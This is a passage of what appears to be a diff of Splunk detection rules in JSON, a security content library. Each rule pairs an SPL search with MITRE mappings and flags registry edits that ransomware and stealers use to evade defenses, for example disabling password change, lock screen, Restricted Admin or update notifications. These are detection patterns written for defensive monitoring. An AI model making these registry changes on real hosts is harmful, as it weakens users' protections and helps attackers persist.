system or program files. This activity is significant as it may indicate malware, such as the Double Zero wiper, attempting to evade defenses or cause destructive payload impacts. If confirmed malicious, this behavior could lead to significant system damage, loss of critical configurations, and potential disruption of services.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Endpoint.Registry WHERE Registry.action=deleted BY _time span=1h Registry.dest Registry.registry_path Registry.registry_value_name Registry.registry_key_name Registry.process_guid Registry.registry_value_data Registry.action | `drop_dm_object_name(Registry)` | join process_guid [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes WHERE NOT (Processes.process_path IN (\"*\\\\windows\\\\*\", \"*\\\\program files*\")) by _time span=1h Processes.process_id Processes.process_name Processes.process Processes.user Processes.parent_process_name Processes.parent_process Processes.process_path Processes.process_guid | `drop_dm_object_name(Processes)`] | fields _time parent_process_name parent_process process_name process_path process process_guid registry_path registry_value_name registry_value_data registry_key_name action dest user | `windows_deleted_registry_by_a_non_critical_process_file_path_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Double Zero Destructor" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "The registry was deleted by a suspicious process named $process_name$ with the process path $process_path$ on dest $dest$.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Disable Change Password Through Registry", - "description": "The following analytic detects a suspicious registry modification that disables the Change Password feature on a Windows host. It identifies changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableChangePassword\" with a value of \"0x00000001\". This activity is significant as it can prevent users from changing their passwords, a tactic often used by ransomware to maintain control over compromised systems. If confirmed malicious, this could hinder user response to an attack, allowing the attacker to persist and potentially escalate their access within the network.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableChangePassword\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_disable_change_password_through_registry_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Registry modification in \"DisableChangePassword\" on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Disable Lock Workstation Feature Through Registry", - "description": "The following analytic detects a suspicious registry modification that disables the Lock Computer feature in Windows. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableLockWorkstation\" with a value of \"0x00000001\". This activity is significant because it prevents users from locking their screens, a tactic often used by malware, including ransomware, to maintain control over compromised systems. If confirmed malicious, this could allow attackers to sustain their presence and execute further malicious actions without user interruption.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableLockWorkstation\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_disable_lock_workstation_feature_through_registry_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Registry modification in \"DisableLockWorkstation\" on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Disable LogOff Button Through Registry", - "description": "The following analytic detects a suspicious registry modification that disables the logoff feature on a Windows host. It leverages data from the Endpoint.Registry data model to identify changes to specific registry values associated with logoff functionality. This activity is significant because it can indicate ransomware attempting to make the compromised host unusable and hinder remediation efforts. If confirmed malicious, this action could prevent users from logging off, complicate incident response, and allow attackers to maintain persistence and control over the affected system.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\*\" Registry.registry_value_name IN (\"NoLogOff\", \"StartMenuLogOff\") Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_disable_logoff_button_through_registry_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Registry modification in \"NoLogOff\" on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Disable Notification Center", - "description": "The following analytic detects the modification of the Windows registry to disable the Notification Center on a host machine. It leverages data from the Endpoint.Registry data model, specifically looking for changes to the \"DisableNotificationCenter\" registry value set to \"0x00000001.\" This activity is significant because disabling the Notification Center can be a tactic used by RAT malware to hide its presence and subsequent actions. If confirmed malicious, this could allow an attacker to operate stealthily, potentially leading to further system compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_value_name= \"DisableNotificationCenter\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_disable_notification_center_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows notification center was disabled on $dest$ by $user$.", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Disable Shutdown Button Through Registry", - "description": "The following analytic detects suspicious registry modifications that disable the shutdown button on a user's logon screen. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to registry paths associated with shutdown policies. This activity is significant because it is a tactic used by malware, particularly ransomware like KillDisk, to hinder system usability and prevent the removal of malicious changes. If confirmed malicious, this could impede system recovery efforts, making it difficult to restart the machine and remove other harmful modifications.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE ((Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\shutdownwithoutlogon\" Registry.registry_value_data = \"0x00000000\") OR (Registry.registry_path=\"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoClose\" Registry.registry_value_data = \"0x00000001\")) BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_disable_shutdown_button_through_registry_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Registry modification in \"shutdownwithoutlogon\" on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Disable Windows Group Policy Features Through Registry", - "description": "The following analytic detects suspicious registry modifications aimed at disabling Windows Group Policy features. It leverages data from the Endpoint.Registry data model, focusing on specific registry paths and values associated with disabling key Windows functionalities. This activity is significant because it is commonly used by ransomware to hinder mitigation and forensic response efforts. If confirmed malicious, this behavior could severely impair the ability of security teams to analyze and respond to the attack, allowing the attacker to maintain control and persist within the compromised environment.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\*\" OR Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\*\" Registry.registry_value_name IN (\"NoDesktop\", \"NoFind\", \"NoControlPanel\", \"NoFileMenu\", \"NoSetTaskbar\", \"NoTrayContextMenu\", \"TaskbarLockAll\", \"NoThemesTab\",\"NoPropertiesMyDocuments\",\"NoVisualStyleChoice\",\"NoColorChoice\",\"NoPropertiesMyDocuments\") Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_disable_windows_group_policy_features_through_registry_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Ransomware", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Registry modification to disable windows group policy features on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Hide Notification Features Through Registry", - "description": "The following analytic detects suspicious registry modifications aimed at hiding common Windows notification features on a compromised host. It leverages data from the Endpoint.Registry data model, focusing on specific registry paths and values. This activity is significant as it is often used by ransomware to obscure visual indicators, increasing the impact of the attack. If confirmed malicious, this could prevent users from noticing critical system alerts, thereby aiding the attacker in maintaining persistence and furthering their malicious activities undetected.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\*\" Registry.registry_value_name IN (\"HideClock\", \"HideSCAHealth\", \"HideSCANetwork\", \"HideSCAPower\", \"HideSCAVolume\") Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_hide_notification_features_through_registry_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Registry modification to hide windows notification on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows InProcServer32 New Outlook Form", - "description": "The following analytic detects the creation or modification of registry keys associated with new Outlook form installations, potentially indicating exploitation of CVE-2024-21378. It leverages data from the Endpoint.Registry datamodel, focusing on registry paths involving InProcServer32 keys linked to Outlook forms. This activity is significant as it may signify an attempt to achieve authenticated remote code execution via malicious form objects. If confirmed malicious, this could allow an attacker to create arbitrary files and registry keys, leading to remote code execution and potential full system compromise.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\InProcServer32\\\\*\" Registry.registry_value_data=*\\\\FORMS\\\\* by Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.dest Registry.process_guid Registry.user | `drop_dm_object_name(Registry)` |`security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_inprocserver32_new_outlook_form_filter`", - "tags": { - "analytic_story": [ - "Outlook RCE CVE-2024-21378" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A registry key associated with a new Outlook form installation was created or modified. This could indicate exploitation of CVE-2024-21378 on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry AuthenticationLevelOverride", - "description": "The following analytic detects modifications to the Windows registry key \"AuthenticationLevelOverride\" within the Terminal Server Client settings. It leverages data from the Endpoint.Registry datamodel to identify changes where the registry value is set to 0x00000000. This activity is significant as it may indicate an attempt to override authentication levels for remote connections, a tactic used by DarkGate malware for malicious installations. If confirmed malicious, this could allow attackers to gain unauthorized remote access, potentially leading to data exfiltration or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path = \"*\\\\Terminal Server Client\\\\AuthenticationLevelOverride\" Registry.registry_value_data = 0x00000000 by Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.action Registry.user Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_authenticationleveloverride_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "the registry for authentication level settings was modified on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry Auto Minor Updates", - "description": "The following analytic identifies a suspicious modification to the Windows auto update configuration registry. It detects changes to the registry path \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\AU\\\\AutoInstallMinorUpdates\" with a value of \"0x00000000\". This activity is significant as it is commonly used by adversaries, including malware like RedLine Stealer, to bypass detection and deploy additional payloads. If confirmed malicious, this modification could allow attackers to evade defenses, potentially leading to further system compromise and exploitation of zero-day vulnerabilities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\AU\\\\AutoInstallMinorUpdates\" AND Registry.registry_value_data=\"0x00000000\" by Registry.dest Registry.user Registry.registry_path Registry.registry_value_data Registry.registry_key_name | `drop_dm_object_name(Registry)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_modify_registry_auto_minor_updates_filter`", - "tags": { - "analytic_story": [ - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A registry modification in Windows auto update configuration on $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry Auto Update Notif", - "description": "The following analytic detects a suspicious modification to the Windows registry that changes the auto-update notification setting to \"Notify before download.\" This detection leverages data from the Endpoint.Registry data model, focusing on specific registry paths and values. This activity is significant because it is a known technique used by adversaries, including malware like RedLine Stealer, to evade detection and potentially deploy additional payloads. If confirmed malicious, this modification could allow attackers to bypass security measures, maintain persistence, and exploit vulnerabilities on the target host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\AU\\\\AUOptions\" AND Registry.registry_value_data=\"0x00000002\" by Registry.dest Registry.user Registry.registry_path Registry.registry_value_data Registry.registry_key_name | `drop_dm_object_name(Registry)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_modify_registry_auto_update_notif_filter`", - "tags": { - "analytic_story": [ - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A registry modification in Windows auto update notification on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry Default Icon Setting", - "description": "The following analytic detects suspicious modifications to the Windows registry's default icon settings, a technique associated with Lockbit ransomware. It leverages data from the Endpoint Registry data model, focusing on changes to registry paths under \"*HKCR\\\\*\\\\defaultIcon\\\\(Default)*\". This activity is significant as it is uncommon for normal users to modify these settings, and such changes can indicate ransomware infection or other malware. If confirmed malicious, this could lead to system defacement and signal a broader ransomware attack, potentially compromising sensitive data and system integrity.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path =\"*\\\\defaultIcon\\\\(Default)*\" Registry.registry_path = \"*HKCR\\\\*\" by Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.action Registry.dest Registry.user | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(Registry)` | `windows_modify_registry_default_icon_setting_filter`", - "tags": { - "analytic_story": [ - "LockBit Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious registry modification to change the default icon association of windows to ransomware was detected on endpoint $dest$ by user $user$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry Disable Restricted Admin", - "description": "The following analytic detects modifications to the Windows registry entry \"DisableRestrictedAdmin,\" which controls the Restricted Admin mode behavior. This detection leverages registry activity logs from endpoint data sources like Sysmon or Carbon Black. Monitoring this activity is crucial as changes to this setting can disable a security feature that limits credential exposure during remote connections. If confirmed malicious, an attacker could weaken security controls, increasing the risk of credential theft and unauthorized access to sensitive systems.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\DisableRestrictedAdmin\" Registry.registry_value_data = 0x00000000) BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_disable_restricted_admin_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Modify Registry Disable Restricted Admin on $dest$ by $user$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry Disable Toast Notifications", - "description": "The following analytic detects modifications to the Windows registry that disable toast notifications. It leverages data from the Endpoint.Registry datamodel, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\PushNotifications\\\\ToastEnabled*\" with a value set to \"0x00000000\". This activity is significant because disabling toast notifications can prevent users from receiving critical system and application updates, which adversaries like Azorult exploit for defense evasion. If confirmed malicious, this action could allow attackers to operate undetected, leading to prolonged persistence and potential further compromise of the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\PushNotifications\\\\ToastEnabled*\" Registry.registry_value_data=\"0x00000000\" by 